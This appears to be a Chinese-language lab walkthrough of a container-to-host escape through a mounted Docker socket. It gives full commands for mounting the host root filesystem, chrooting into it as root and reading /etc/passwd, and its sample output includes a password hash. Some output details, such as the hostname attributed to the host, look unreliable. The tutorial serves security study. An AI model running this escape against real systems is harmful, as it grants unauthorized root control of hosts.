一、原理概述
Docker Socket(/var/run/docker.sock
)是 Docker 守护进程与客户端通信的 UNIX 套接字文件。当 Ubuntu 18.04 容器挂载该文件时,容器内进程可通过 Docker API 操控宿主机 Docker 服务,进而创建挂载宿主机根目录的新容器,实现从容器到宿主机的权限逃逸。
二、环境准备(宿主机操作)
-
拉取 Ubuntu 18.04 镜像
docker pull ubuntu:18.04
-
启动挂载 Docker Socket 的容器
# 关键:将宿主机docker.sock挂载到容器内相同路径 docker run -itd --name socket_escape -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
-
-itd
:交互式后台运行,便于后续进入容器操作 -
-v
:挂载宿主机 Docker Socket 到容器,是逃逸的核心前提
-
三、容器内环境配置
-
进入目标容器
docker exec -it socket_escape /bin/bash
-
安装 Docker 客户端 Ubuntu 18.04 需通过 apt 安装 Docker:
# 更新软件源(Ubuntu 18.04推荐用apt-get) apt-get update -y # 安装必要依赖 apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add - # 添加Docker软件源(适配Ubuntu 18.04的bionic版本) add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable" # 安装Docker CE客户端 apt-get update -y && apt-get install -y docker-ce
-
验证 Docker 客户端可用性
docker --version # 显示版本信息即安装成功 docker ps # 能列出宿主机容器,证明已通过socket连接宿主机Docker服务
-
示例输出:
-
四、逃逸步骤(容器内执行)
-
创建挂载宿主机根目录的新容器 利用宿主机 Docker 服务,创建一个将宿主机
/
挂载到容器/host
的新容器:docker run -it --rm -v /:/host ubuntu:18.04 /bin/bash
-
--rm
:退出后自动清理,减少痕迹 -
-v /:/host
:核心挂载,宿主机根目录映射到新容器/host
-
-
切换到宿主机根目录 在新容器内执行
chroot
命令,将当前环境切换为宿主机文件系统:chroot /host
-
执行过程示例:
-
五、验证逃逸结果
执行以下命令确认已获取宿主机权限:
-
查看用户 ID(应为宿主机 root):
id
输出示例:
uid=0(root) gid=0(root) groups=0(root)
-
查看宿主机 hostname:
hostname
输出示例:
6195a62efdbd
-
查看宿主机用户信息:
cat /etc/passwd
输出包含宿主机本地用户(如
root
、lang
、hacker
等),部分内容示例:root:$6$Du1ukr7z$O3kiLXL/iyvOZTO7CYGsD2aePJ8Zp1ihpHwC9hi06Ng9xk5m1t8vehojD9Uhqcll17bI4UNdskCBBZqofrwGB1:0:0:root:/root:/bin/bash lang:x:1000:1000:lang,,,:/home/lang:/bin/bash hacker:x:1002:1002:,,,:/home/hacker:/bin/bash
六、清理操作
-
退出容器:连续执行
exit
退出新容器和原始容器 -
删除容器
(宿主机执行):
docker rm -f socket_escape